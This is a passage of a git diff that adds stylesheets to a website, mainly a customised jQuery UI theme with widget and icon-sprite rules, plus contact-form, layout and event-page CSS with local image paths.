padding by default */ +input.ui-button { padding: .4em 1em; } + +/*button icon element(s) */ +.ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } +.ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } +.ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } +.ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } +.ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } + +/*button sets*/ +.ui-buttonset { margin-right: 7px; } +.ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } + +/* workarounds */ +button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ +.ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } +.ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } +.ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } +.ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } +.ui-datepicker .ui-datepicker-prev { left:2px; } +.ui-datepicker .ui-datepicker-next { right:2px; } +.ui-datepicker .ui-datepicker-prev-hover { left:1px; } +.ui-datepicker .ui-datepicker-next-hover { right:1px; } +.ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } +.ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } +.ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } +.ui-datepicker select.ui-datepicker-month-year {width: 100%;} +.ui-datepicker select.ui-datepicker-month, +.ui-datepicker select.ui-datepicker-year { width: 49%;} +.ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } +.ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } +.ui-datepicker td { border: 0; padding: 1px; } +.ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } +.ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } +.ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } +.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } + +/* with multiple calendars */ +.ui-datepicker.ui-datepicker-multi { width:auto; } +.ui-datepicker-multi .ui-datepicker-group { float:left; } +.ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } +.ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } +.ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } +.ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } +.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } +.ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } + +/* RTL support */ +.ui-datepicker-rtl { direction: rtl; } +.ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } +.ui-datepicker-rtl .ui-datepicker-group { float:right; } +.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } +.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } + +/* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ +.ui-datepicker-cover { + position: absolute; /*must have*/ + z-index: -1; /*must have*/ + filter: mask(); /*must have*/ + top: -4px; /*must have*/ + left: -4px; /*must have*/ + width: 200px; /*must have*/ + height: 200px; /*must have*/ +}.ui-dialog { position: absolute; padding: 0; width: 300px; overflow: hidden; } +.ui-dialog .ui-dialog-titlebar { padding: 0; position: relative; } +.ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } +.ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } +.ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } +.ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 1px; } +.ui-dialog .ui-dialog-content { position: relative; border: 0; padding: 0; background: none; overflow: auto; zoom: 1; } +.ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background: inherit; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } +.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } +.ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } + .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } + +/* убираем рамку с иконок */ +.ui-widget-header .ui-state-hover, .ui-widget-header .ui-state-focus { border: 0} + +/* песочный Диалог */ +.ui-dialog.sand-style .ui-widget-content{ + background: #fff6dd url(/i/jquery-ui/ui-bg_flat_100_fff6dd_40x100.png) 50% 50% repeat-x; + color: #000000; +} + + +.ui-dialog.sand-style .ui-state-highlight, +.ui-dialog.sand-style .ui-widget-content .ui-state-highlight, +.ui-dialog.sand-style .ui-widget-header .ui-state-highlight{ + border: 1px solid #b0b0b0; + background: #fff6dd url(/i/jquery-ui/ui-bg_flat_100_fff6dd_40x100.png) 50% 50% repeat-x; color: #000000; +} +.ui-dialog.sand-style .ui-state-error, +.ui-widget-content .ui-state-error, +.ui-widget-header .ui-state-error { + border: 1px solid #cd0a0a; + background: #fff6dd url(/i/jquery-ui/ui-bg_flat_100_fff6dd_40x100.png) 50% 50% repeat-x; + color: #cd0a0a; +} +.ui-dialog.sand-style .ui-widget-header { + background: #ccc3aa url(/i/jquery-ui/ui-bg_flat_100_ccc3aa_40x100.png) 50% 50% repeat-x; + color: #000000; + font-weight: bold; + text-align: center; + font-size: 12px; + padding: 2px; + border: none; +} +.ui-dialog.sand-style .ui-dialog-title { + margin: 0px; +} + + +.ui-draggable .ui-dialog-titlebar { cursor: move; } +.ui-menu { list-style:none; padding: 2px; margin: 0; display:block; outline: none; } +.ui-menu .ui-menu { margin-top: -3px; position: absolute; } +.ui-menu .ui-menu-item { margin: 0; padding: 0; zoom: 1; width: 100%; } +.ui-menu .ui-menu-divider { margin: 5px -2px 5px -2px; height: 0; font-size: 0; line-height: 0; border-width: 1px 0 0 0; } +.ui-menu .ui-menu-item a { text-decoration: none; display: block; padding: 2px .4em; line-height: 1.5; zoom: 1; font-weight: normal; } +.ui-menu .ui-menu-item a.ui-state-focus, +.ui-menu .ui-menu-item a.ui-state-active { font-weight: normal; margin: -1px; } + +.ui-menu .ui-state-disabled { font-weight: normal; margin: .4em 0 .2em; line-height: 1.5; } +.ui-menu .ui-state-disabled a { cursor: default; } + +/* icon support */ +.ui-menu-icons { position: relative; } +.ui-menu-icons .ui-menu-item a { position: relative; padding-left: 2em; } + +/* left-aligned */ +.ui-menu .ui-icon { position: absolute; top: .2em; left: .2em; } + +/* right-aligned */ +.ui-menu .ui-menu-icon { position: static; float: right; } +.ui-progressbar { height:2em; text-align: left; overflow: hidden; } +.ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }.ui-slider { position: relative; text-align: left; } +.ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } +.ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } + +.ui-slider-horizontal { height: .8em; } +.ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } +.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } +.ui-slider-horizontal .ui-slider-range-min { left: 0; } +.ui-slider-horizontal .ui-slider-range-max { right: 0; } + +.ui-slider-vertical { width: .8em; height: 100px; } +.ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } +.ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } +.ui-slider-vertical .ui-slider-range-min { bottom: 0; } +.ui-slider-vertical .ui-slider-range-max { top: 0; }.ui-spinner { position:relative; display: inline-block; overflow: hidden; padding: 0; vertical-align: middle; } +.ui-spinner-input { border: none; background: none; padding: 0; margin: .2em 0; vertical-align: middle; margin-left: .4em; margin-right: 22px; } +.ui-spinner-button { width: 16px; height: 50%; font-size: .5em; padding: 0; margin: 0; z-index: 100; text-align: center; position: absolute; cursor: default; display: block; overflow: hidden; right: 0; } +.ui-spinner a.ui-spinner-button { border-top: none; border-bottom: none; border-right: none; } /* more specificity required here to overide default borders */ +.ui-spinner .ui-icon { position: absolute; margin-top: -8px; top: 50%; left: 0; } /* vertical centre icon */ +.ui-spinner-up { top: 0; } +.ui-spinner-down { bottom: 0; } + +/* TR overrides */ +span.ui-spinner { background: none; } +.ui-spinner .ui-icon-triangle-1-s { + /* need to fix icons sprite */ + background-position:-65px -16px; +} +.ui-tabs { position: relative; padding: 0; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ +.ui-tabs .ui-tabs-nav { margin: 0; padding: 0; } +.ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 0; margin: 0px .2em 0 0; border-bottom: 0; padding: 0; white-space: nowrap; } +.ui-tabs .ui-tabs-nav li a { float: left; padding: .2em 1em; text-decoration: none; } +.ui-tabs .ui-tabs-nav li.ui-tabs-active { margin-bottom: -1px; padding-bottom: 1px;} +.ui-tabs .ui-tabs-nav li.ui-tabs-active a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-tabs-loading a { cursor: text; } +.ui-tabs .ui-tabs-nav li a, .ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ +.ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } +.ui-tabs .ui-tabs-hide { display: none !important; } + +/* Табы в стиле БК */ +.ui-tabs.ui-widget-header, .ui-tabs .ui-widget-header{ border: 0px solid #C0C0C0; background: #c7c7c7 url(i/images/ui-bg_flat_100_c7c7c7_40x100.png) 50% 50% repeat-x; color: #000000; font-weight: bold; } +.ui-tabs.ui-state-default, .ui-tabs .ui-state-default { border: 0; background: #c7c7c7; color: #003388; } +.ui-tabs.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #b0b0b0; background: #a5a5a5 url(i/images/ui-bg_flat_100_a5a5a5_40x100.png) 50% 50% repeat-x; font-weight: bold; color: #191970; } + + +.ui-tooltip { + padding:8px; + position:absolute; + z-index:9999; + -o-box-shadow: 0 0 5px #aaa; + -moz-box-shadow: 0 0 5px #aaa; + -webkit-box-shadow: 0 0 5px #aaa; + box-shadow: 0 0 5px #aaa; +} +/* Fades and background-images don't work well together in IE6, drop the image */ +* html .ui-tooltip { + background-image: none; +} +body .ui-tooltip { border-width:2px; } + +/* Icons +----------------------------------*/ + +/* positioning */ +.ui-icon-carat-1-n { background-position: 0 0; } +.ui-icon-carat-1-ne { background-position: -16px 0; } +.ui-icon-carat-1-e { background-position: -32px 0; } +.ui-icon-carat-1-se { background-position: -48px 0; } +.ui-icon-carat-1-s { background-position: -64px 0; } +.ui-icon-carat-1-sw { background-position: -80px 0; } +.ui-icon-carat-1-w { background-position: -96px 0; } +.ui-icon-carat-1-nw { background-position: -112px 0; } +.ui-icon-carat-2-n-s { background-position: -128px 0; } +.ui-icon-carat-2-e-w { background-position: -144px 0; } +.ui-icon-triangle-1-n { background-position: 0 -16px; } +.ui-icon-triangle-1-ne { background-position: -16px -16px; } +.ui-icon-triangle-1-e { background-position: -32px -16px; } +.ui-icon-triangle-1-se { background-position: -48px -16px; } +.ui-icon-triangle-1-s { background-position: -64px -16px; } +.ui-icon-triangle-1-sw { background-position: -80px -16px; } +.ui-icon-triangle-1-w { background-position: -96px -16px; } +.ui-icon-triangle-1-nw { background-position: -112px -16px; } +.ui-icon-triangle-2-n-s { background-position: -128px -16px; } +.ui-icon-triangle-2-e-w { background-position: -144px -16px; } +.ui-icon-arrow-1-n { background-position: 0 -32px; } +.ui-icon-arrow-1-ne { background-position: -16px -32px; } +.ui-icon-arrow-1-e { background-position: -32px -32px; } +.ui-icon-arrow-1-se { background-position: -48px -32px; } +.ui-icon-arrow-1-s { background-position: -64px -32px; } +.ui-icon-arrow-1-sw { background-position: -80px -32px; } +.ui-icon-arrow-1-w { background-position: -96px -32px; } +.ui-icon-arrow-1-nw { background-position: -112px -32px; } +.ui-icon-arrow-2-n-s { background-position: -128px -32px; } +.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } +.ui-icon-arrow-2-e-w { background-position: -160px -32px; } +.ui-icon-arrow-2-se-nw { background-position: -176px -32px; } +.ui-icon-arrowstop-1-n { background-position: -192px -32px; } +.ui-icon-arrowstop-1-e { background-position: -208px -32px; } +.ui-icon-arrowstop-1-s { background-position: -224px -32px; } +.ui-icon-arrowstop-1-w { background-position: -240px -32px; } +.ui-icon-arrowthick-1-n { background-position: 0 -48px; } +.ui-icon-arrowthick-1-ne { background-position: -16px -48px; } +.ui-icon-arrowthick-1-e { background-position: -32px -48px; } +.ui-icon-arrowthick-1-se { background-position: -48px -48px; } +.ui-icon-arrowthick-1-s { background-position: -64px -48px; } +.ui-icon-arrowthick-1-sw { background-position: -80px -48px; } +.ui-icon-arrowthick-1-w { background-position: -96px -48px; } +.ui-icon-arrowthick-1-nw { background-position: -112px -48px; } +.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } +.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } +.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } +.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } +.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } +.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } +.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } +.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } +.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } +.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } +.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } +.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } +.ui-icon-arrowreturn-1-w { background-position: -64px -64px; } +.ui-icon-arrowreturn-1-n { background-position: -80px -64px; } +.ui-icon-arrowreturn-1-e { background-position: -96px -64px; } +.ui-icon-arrowreturn-1-s { background-position: -112px -64px; } +.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } +.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } +.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } +.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } +.ui-icon-arrow-4 { background-position: 0 -80px; } +.ui-icon-arrow-4-diag { background-position: -16px -80px; } +.ui-icon-extlink { background-position: -32px -80px; } +.ui-icon-newwin { background-position: -48px -80px; } +.ui-icon-refresh { background-position: -64px -80px; } +.ui-icon-shuffle { background-position: -80px -80px; } +.ui-icon-transfer-e-w { background-position: -96px -80px; } +.ui-icon-transferthick-e-w { background-position: -112px -80px; } +.ui-icon-folder-collapsed { background-position: 0 -96px; } +.ui-icon-folder-open { background-position: -16px -96px; } +.ui-icon-document { background-position: -32px -96px; } +.ui-icon-document-b { background-position: -48px -96px; } +.ui-icon-note { background-position: -64px -96px; } +.ui-icon-mail-closed { background-position: -80px -96px; } +.ui-icon-mail-open { background-position: -96px -96px; } +.ui-icon-suitcase { background-position: -112px -96px; } +.ui-icon-comment { background-position: -128px -96px; } +.ui-icon-person { background-position: -144px -96px; } +.ui-icon-print { background-position: -160px -96px; } +.ui-icon-trash { background-position: -176px -96px; } +.ui-icon-locked { background-position: -192px -96px; } +.ui-icon-unlocked { background-position: -208px -96px; } +.ui-icon-bookmark { background-position: -224px -96px; } +.ui-icon-tag { background-position: -240px -96px; } +.ui-icon-home { background-position: 0 -112px; } +.ui-icon-flag { background-position: -16px -112px; } +.ui-icon-calendar { background-position: -32px -112px; } +.ui-icon-cart { background-position: -48px -112px; } +.ui-icon-pencil { background-position: -64px -112px; } +.ui-icon-clock { background-position: -80px -112px; } +.ui-icon-disk { background-position: -96px -112px; } +.ui-icon-calculator { background-position: -112px -112px; } +.ui-icon-zoomin { background-position: -128px -112px; } +.ui-icon-zoomout { background-position: -144px -112px; } +.ui-icon-search { background-position: -160px -112px; } +.ui-icon-wrench { background-position: -176px -112px; } +.ui-icon-gear { background-position: -192px -112px; } +.ui-icon-heart { background-position: -208px -112px; } +.ui-icon-star { background-position: -224px -112px; } +.ui-icon-link { background-position: -240px -112px; } +.ui-icon-cancel { background-position: 0 -128px; } +.ui-icon-plus { background-position: -16px -128px; } +.ui-icon-plusthick { background-position: -32px -128px; } +.ui-icon-minus { background-position: -48px -128px; } +.ui-icon-minusthick { background-position: -64px -128px; } +.ui-icon-close { background-position: -80px -128px; } +.ui-icon-closethick { background-position: -96px -128px; } +.ui-icon-key { background-position: -112px -128px; } +.ui-icon-lightbulb { background-position: -128px -128px; } +.ui-icon-scissors { background-position: -144px -128px; } +.ui-icon-clipboard { background-position: -160px -128px; } +.ui-icon-copy { background-position: -176px -128px; } +.ui-icon-contact { background-position: -192px -128px; } +.ui-icon-image { background-position: -208px -128px; } +.ui-icon-video { background-position: -224px -128px; } +.ui-icon-script { background-position: -240px -128px; } +.ui-icon-alert { background-position: 0 -144px; } +.ui-icon-info { background-position: -16px -144px; } +.ui-icon-notice { background-position: -32px -144px; } +.ui-icon-help { background-position: -48px -144px; } +.ui-icon-check { background-position: -64px -144px; } +.ui-icon-bullet { background-position: -80px -144px; } +.ui-icon-radio-on { background-position: -96px -144px; } +.ui-icon-radio-off { background-position: -112px -144px; } +.ui-icon-pin-w { background-position: -128px -144px; } +.ui-icon-pin-s { background-position: -144px -144px; } +.ui-icon-play { background-position: 0 -160px; } +.ui-icon-pause { background-position: -16px -160px; } +.ui-icon-seek-next { background-position: -32px -160px; } +.ui-icon-seek-prev { background-position: -48px -160px; } +.ui-icon-seek-end { background-position: -64px -160px; } +.ui-icon-seek-start { background-position: -80px -160px; } +/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ +.ui-icon-seek-first { background-position: -80px -160px; } +.ui-icon-stop { background-position: -96px -160px; } +.ui-icon-eject { background-position: -112px -160px; } +.ui-icon-volume-off { background-position: -128px -160px; } +.ui-icon-volume-on { background-position: -144px -160px; } +.ui-icon-power { background-position: 0 -176px; } +.ui-icon-signal-diag { background-position: -16px -176px; } +.ui-icon-signal { background-position: -32px -176px; } +.ui-icon-battery-0 { background-position: -48px -176px; } +.ui-icon-battery-1 { background-position: -64px -176px; } +.ui-icon-battery-2 { background-position: -80px -176px; } +.ui-icon-battery-3 { background-position: -96px -176px; } +.ui-icon-circle-plus { background-position: 0 -192px; } +.ui-icon-circle-minus { background-position: -16px -192px; } +.ui-icon-circle-close { background-position: -32px -192px; } +.ui-icon-circle-triangle-e { background-position: -48px -192px; } +.ui-icon-circle-triangle-s { background-position: -64px -192px; } +.ui-icon-circle-triangle-w { background-position: -80px -192px; } +.ui-icon-circle-triangle-n { background-position: -96px -192px; } +.ui-icon-circle-arrow-e { background-position: -112px -192px; } +.ui-icon-circle-arrow-s { background-position: -128px -192px; } +.ui-icon-circle-arrow-w { background-position: -144px -192px; } +.ui-icon-circle-arrow-n { background-position: -160px -192px; } +.ui-icon-circle-zoomin { background-position: -176px -192px; } +.ui-icon-circle-zoomout { background-position: -192px -192px; } +.ui-icon-circle-check { background-position: -208px -192px; } +.ui-icon-circlesmall-plus { background-position: 0 -208px; } +.ui-icon-circlesmall-minus { background-position: -16px -208px; } +.ui-icon-circlesmall-close { background-position: -32px -208px; } +.ui-icon-squaresmall-plus { background-position: -48px -208px; } +.ui-icon-squaresmall-minus { background-position: -64px -208px; } +.ui-icon-squaresmall-close { background-position: -80px -208px; } +.ui-icon-grip-dotted-vertical { background-position: 0 -224px; } +.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } +.ui-icon-grip-solid-vertical { background-position: -32px -224px; } +.ui-icon-grip-solid-horizontal { background-position: -48px -224px; } +.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } +.ui-icon-grip-diagonal-se { background-position: -80px -224px; } + + +/* Misc visuals +----------------------------------*/ + +/* Corner radius */ +.ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 0px; -webkit-border-top-left-radius: 0px; -khtml-border-top-left-radius: 0px; border-top-left-radius: 0px; } +.ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 0px; -webkit-border-top-right-radius: 0px; -khtml-border-top-right-radius: 0px; border-top-right-radius: 0px; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 0px; -webkit-border-bottom-left-radius: 0px; -khtml-border-bottom-left-radius: 0px; border-bottom-left-radius: 0px; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 0px; -webkit-border-bottom-right-radius: 0px; -khtml-border-bottom-right-radius: 0px; border-bottom-right-radius: 0px; } + +/* Overlays */ +.ui-widget-overlay { background: #aaaaaa url(/i/jquery-ui/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .3;filter:Alpha(Opacity=30); } +.ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #aaaaaa url(/i/jquery-ui/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .3;filter:Alpha(Opacity=30); -moz-border-radius: 0px; -khtml-border-radius: 0px; -webkit-border-radius: 0px; border-radius: 0px; } \ No newline at end of file diff --git a/css/contact.css b/css/contact.css new file mode 100644 index 0000000..8bad1db --- /dev/null +++ b/css/contact.css @@ -0,0 +1,21 @@ +#contact-overlay { background-color: #000; } +#contact-container { font: 16px/22px 'Trebuchet MS', Verdana, Arial; text-align: left; width: 950px; } +#contact-container .contact-content { background-color: #333; color: #ddd; height: 40px; } +#contact-container h1 {color:#d76300; font-size:20px; line-height:20px; margin:0; padding:0 0 6px 12px; text-align:left;} +#contact-container .contact-loading {background:url(../i/loading.gif) no-repeat; height:55px; margin:-14px 0 0 190px; padding:0; position:absolute; width:54px; z-index:8000;} +#contact-container .contact-message {text-align:center;} +#contact-container .contact-error {background:#000; border:2px solid #ccc; font-size:14px; font-weight:bold; line-height:18px; margin:0 auto; padding:2px; width:92%;} +#contact-container br {clear:both;} +#contact-container form { margin:0; padding:0; } +#contact-container label { clear:left; display:block; float:left; font-weight:bold; padding-right:4px; text-align:right; width:100px;} +#contact-container .contact-input { background:#eee; border:1px solid #fff; font-family:'Trebuchet MS', Verdana, Arial; float:left; padding:2px; margin:2px; width:300px;} +#contact-container textarea {height:114px;} +#contact-container .contact-cc {cursor:default; font-size:14px; vertical-align:top;} +#contact-container .contact-top {background-color:#333; height:13px; margin:0; padding:0; -webkit-border-top-left-radius:8px; -webkit-border-top-right-radius:8px; -moz-border-radius-topleft:8px; -moz-border-radius-topright:8px; border-radius:8px 8px 0 0;} +#contact-container .contact-bottom {background-color:#333; font-size:12px; height:13px; line-height:12px; text-align:center; -webkit-border-bottom-right-radius:8px; -webkit-border-bottom-left-radius:8px; -moz-border-radius-bottomright:8px; -moz-border-radius-bottomleft:8px; border-radius:0 0 8px 8px;} +#contact-container .contact-bottom a, #contact-container .contact-bottom a:link, #contact-container .contact-bottom a:active, #contact-container .contact-bottom a:visited { color: #666; position: relative; top: -4px; text-decoration: none; } +#contact-container .contact-bottom a:hover { color: #888; } +#contact-container .contact-button {background:#d76300; border:0; color:#fff; cursor:pointer; font-size:13px; font-weight:bold; height:21px; margin:2px 0 0 4px; text-align:center; vertical-align:middle; -webkit-border-radius:8px; -moz-border-radius:8px; border-radius:8px;} +#contact-container .contact-button:hover { background: #f49000; } +#contact-container a.modal-close, #contact-container a.modal-close:link, #contact-container a.modal-close:active, #contact-container a.modal-close:visited { color: #999; font-size: 18px; font-weight: bold; position: absolute; text-decoration: none; right: 8px; top: 0px; } +#contact-container a.modal-close:hover { color: #ccc; } \ No newline at end of file diff --git a/css/design4.css b/css/design4.css new file mode 100644 index 0000000..77347ed --- /dev/null +++ b/css/design4.css @@ -0,0 +1,99 @@ +body { + margin: 0px 1px 0px 1px; + padding: 0px 1px 0px 1px; + background-color: #DFDFD8; + color: #000000; +} + +.main_text { + font-weight: bold; + font-size: 10px; + text-decoration: none; + color:#f0f0f0; + cursor:hand; +} + +.menutop, a.menutop:visited, a.menutop:active { + font-weight: bold; + font-size: 10px; + text-decoration: none; + color: #3B3936; +} + +a.menutop:hover { + color: #76726b; +} + +.name { + font-weight: bold; + font-size: 12px; +} + +.parametr_title { + font-weight: bold; + font-size: 11px; + color: #777773; +} + +.prname { + padding-left: 4px; + font-size: 11px; + font-family: Arial, Helvetica, sans-serif; +} + +.prvalue { + font-size: 11px; + font-family: Arial, Helvetica, sans-serif; +} + +.btn { + border: 1px double #9a9996; + font-size: 12px; + color: #dfdfdf; + background-color:#504F4C; +} + +.mainmenu { + color: #23292C; + border-top-width: 1px; + border-right-width: 1px; + border-bottom-width: 1px; + border-left-width: 1px; + border-top-style: solid; + border-right-style: none; + border-bottom-style: solid; + border-left-style: solid; + border-top-color: #969697; + border-right-color: #969697; + border-bottom-color: #000000; + border-left-color: #969697; + background-color: #BABABB; + cursor:hand; +} + +.maptext { + font-weight: bold; + font-size: 12px; + color: #000000; + font-family: Arial, Helvetica, sans-serif; +} +.posit { + border-top-width: 1px; + border-right-width: 1px; + border-bottom-width: 1px; + border-left-width: 1px; + border-top-style: solid; + border-right-style: solid; + border-bottom-style: solid; + border-left-style: solid; + border-top-color: #FFFFFF; + border-right-color: #666666; + border-bottom-color: #666666; + border-left-color: #FFFFFF; + padding: 2px; +} + +td { + font-size: 9pt; + font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} \ No newline at end of file diff --git a/css/event.css b/css/event.css new file mode 100644 index 0000000..2468d64 --- /dev/null +++ b/css/event.css @@ -0,0 +1,121 @@ +body { + background-color: #CCCCCC; + margin-left: 0px; + margin-top: 0px; + margin-right: 0px; + margin-bottom: 0px; +} + +.normaltextm { font-family: Verdana, Arial, Helvetica, sans-serif, Tahoma; font-size: 10pt; color: #003C70;} +.smalltextm { + font-family: Verdana, Arial, Helvetica, sans-serif, Tahoma; + font-size: 8pt; + color: #800000; + margin: 3px; +} +.headerm { font-family: Verdana, Arial, Helvetica, sans-serif, Tahoma; font-size: 12pt; color: #31659C; margin-left: 7px ; margin-right: 7px} + +TABLE, TR, TD { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000; } + +.normaltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10pt; color: #000000;} +.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000; } +.header { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt; color: #31659C;} + +.button{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; background-color : #DDDDDD; border : 1px solid #DDDDDD; border-bottom : 2px solid #333333; border-right : 2px solid #333333; color : Black; } +.check{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000;} +.input{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: Black; border: 1px solid #000000; background-color: White; } +.inup{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #CCCCCC; border: 1px solid #AA0000; background-color: #550000; } + + +BODY{ + SCROLLBAR-FACE-COLOR: #CCCCCC; + SCROLLBAR-HIGHLIGHT-COLOR: #222222; + SCROLLBAR-SHADOW-COLOR: #222222; + SCROLLBAR-ARROW-COLOR: Black; + scrollbar-3dlight-color : #CCCCCC; + scrollbar-base-color : White; + scrollbar-darkshadow-color : #CCCCCC; + scrollbar-track-color : #999999; + background-image: url(/i/bagr.gif); +} + + +.menu:link, .menu:visited, .menu:active { text-decoration:underline; color:#AA0000;} +.menu:hover { text-decoration:underline;color:#AA0000;} + +a:link, a:visited, a:active { text-decoration:none; color:#800000;} +a:hover { text-decoration:underline;color:#580000;} + +.NEWS { border: 1px dotted #DDDDDD;} + +.button_enter { + font-family: Arial; + font-size: 12px; + font-weight: bold; + color: #E9EBE2; + background-color: #960000; + border: none; + height: 21px; + width: 75px; +} + +.page_title { + text-align: right; font-weight:bold; margin-right:12px; font-size:12px; +} + +#menu{ + list-style:none; + padding:0; + margin:0; +} +#menu li{ + float:left; + height:20px; + padding:0; + 